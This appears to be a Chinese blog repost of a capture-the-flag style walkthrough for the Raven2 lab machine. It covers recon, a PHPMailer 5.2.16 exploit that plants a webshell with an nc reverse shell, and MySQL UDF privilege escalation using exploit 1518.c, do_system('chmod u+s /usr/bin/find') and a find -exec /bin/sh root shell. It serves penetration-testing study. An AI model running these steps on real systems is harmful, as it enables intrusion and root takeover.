靶机 Raven2 / UDF 提权

阅读: 评论:0

靶机 Raven2 / UDF 提权

靶机 Raven2 / UDF 提权

Raven2

信息搜集

存活检测

详细扫描

后台扫描

dirsearch -u  -x 403
# 过滤状态码为 403 的后台页面

Webshell

漏洞发现

  • 访问扫描出的后台页面

    /vendor 页面

    发现网站使用了 PHPMailer

    PHPMailer是一个用于发送电子邮件的PHP库。它提供了一个简单而灵活的方式来发送邮件,支持SMTP、POP3和IMAP协议,并且支持附件、HTML内容、邮件认证等功能。PHPMailer可以与大多数主流的邮件服务器和邮件服务提供商一起使用,是PHP开发中常用的邮件发送工具之一

    查看 VERSION 文件发现版本为 5.2.16

漏洞利用

  • 搜索漏洞

    serachsploit phpmailer
    

    下载

    searchsploit -m 40974.py
    
  • 查看攻击脚本并修改

    • 修改目标 ip,添加存在漏洞的 php 页面,

    • 修改 kali ip

    • 更改后门程序存放位置

      保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件 icepeak.php

  • 运行脚本

    python 40974.py
    

    成功生成文件

  • kali 开启 nc 监听

  • 访问脚本在网站生成的 Webshell 文件

    .php

  • 成功获取 Webshell

提权

提权准备

  • 在 /var/www/html/wordpress 目录下的 wp 配置文件 wp-config 文件中发现了数据库的账号密码

    账号 root

    密码 R@v3nSecurity

  • 尝试登录数据库

    mysql -uroot -pR@v3nSecurity
    
  • 查看数据库中内容,发现两个用户

    michael P P PBjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

    steven LOLLOL1

  • 可以使用 steven 登录后台

    没用

  • 利用工具 LinEnum(Linux枚举及权限提升检查工具)
    链接:=s8dt
    提取码:s8dt

    可以看到 MySQL 服务是 root 身份运行的

UDF 提权

UDF 提权利用前提条件
  1. mysql 配置文件 secure_file_priv 项设置为空,(如果为 NULL 或 /tmp/ 等指定目录,即无法自定义 udf 文件导出位置,则无法利用)。

    show variables like '%secure%'; 查看可导出文件位置

  2. CREATE 权限、FILE 权限(root 用户默认拥有所有权限)。

  3. Linux系统需要 plugin 目录的写入权限。

  4. Linux环境下的 UDF 提权大概率仅限于靶场环境中,原因:在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限。

UDF 提权原理

在 MySQL 数据库中,UDF 函数的实现通常需要创建一个动态链接库文件(也称为插件文件或plugin文件)。动态链接库是一种可执行文件,可以在程序运行时动态地加载到内存中,与程序进行链接,提供额外的功能。

UDF 函数通常需要使用 C 或 C++ 等编程语言编写,并将其编译成动态链接库文件。在MySQL 中,UDF 函数的动态链接库文件通常使用 .so 或 .dll 扩展名。这个文件包含了 UDF 函数的代码和相关的库文件,可以在 MySQL 中进行加载和使用。

提权过程
  1. 在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
  2. Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
  3. MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
  • 查看当前数据库用户的权限

    select * from mysql.user where user = substring_index(user(), '@', 1)G;
    

实现

  • 找到 plugin 文件位置

     find / -name plugin
    

  • searchsploit 搜索 mysql udf 漏洞脚本并下载

    searchsploit mysql udf
    searchsploit -m 1518.c  
    

  • 查看漏洞脚本使用方法

     * Usage:* $ id* uid=500(raptor) gid=500(raptor) groups=500(raptor)* $ gcc -g -c 1518.c# -g选项用于在编译过程中生成调试信息,以便在程序出错时进行调试。# -c选项用于将源代码编译成目标文件,而不进行链接操作。编译后的目标文件一般以.o或.obj为扩展名。* $ gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc# 将1518.o目标文件与C标准库进行链接,并生成一个名为1518.so的动态链接库文件。* $ mysql -uroot -pR@v3nSecurity* [...]* python -c 'import pty;pty.spawn("/bin/bash")'* mysql> use mysql;* mysql> create table foo(line blob);# 在当前数据库中创建一个名为zwt的表,该表只有一个列名为line,数据类型为blob(二进制大对象)。* mysql> insert into foo values(load_file('/tmp/1518.so'));# 向zwt表中插入一条记录,该记录的值是通过load_file函数加载/tmp/1518.so文件的内容。load_file函数用于读取文件内容并返回其二进制数据。* mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';# 将读取的 /tmp 下下载的 1518.so 文件输出保存到 /usr/lib/mysql/plugin 动态链接库目录下* mysql> create function do_system returns integer soname '1518.so';# 创建一个名为do_system的MySQL函数,该函数使用名为1518.so的动态链接库作为实现* mysql> select * from mysql.func;# 查看已经创建的函数的详细信息* +-----------+-----+----------------+----------+* | name      | ret | dl             | type     |* +-----------+-----+----------------+----------+* | do_system |   2 | 1518.so | function |* +-----------+-----+----------------+----------+* mysql> select do_system('chmod u+s /usr/bin/find');* find ./ aaa -exec '/bin/sh' ;* sh-2.05b$ cat /tmp/out* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)* [...]** E-DB Note: Keep an eye on 
    
  • kali 编译

  • 靶机回显

    python -c 'import pty;pty.spawn("/bin/bash")'
    
  • 靶机下载 1518.so

    cd /tmp
    wget .so
    

  • 动态链接库

    mysql -uroot -pR@v3nSecurity
    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/1518.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    create function do_system returns integer soname '1518.so';
    select * from mysql.func;
    

  • 执行系统命令赋予 suid 权限

    select do_system('chmod u+s /usr/bin/find');
    

  • find 提权

    find / abc -exec '/bin/sh' ;
    # ;:表示命令的结束符号。它告诉find命令在每个匹配到的文件或目录后执行一次命令。
    

    成功获取 root 权限

总结

  • 动态链接库 udf 提权
  • find 提权
  • suid

本文发布于:2024-01-28 10:41:22,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/17064096846842.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:sqli
标签:靶机   提权   UDF
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23